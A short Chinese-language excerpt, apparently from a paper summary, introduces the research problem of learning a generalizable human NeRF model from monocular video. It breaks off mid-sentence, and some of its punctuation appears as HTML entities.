研究背景 研究问题&#xff1a;这篇文章要解决的问题是学习一个从单目视频中泛化的人类NeRF模型。尽管现有的泛化人类NeRF已经取得了令人印象深刻的成果&#xff0c;但它们需要多视图图像或视频&#xff0c;这在某些情况下可能不可用。此外&#xff0c;一些基于单目视频的人类…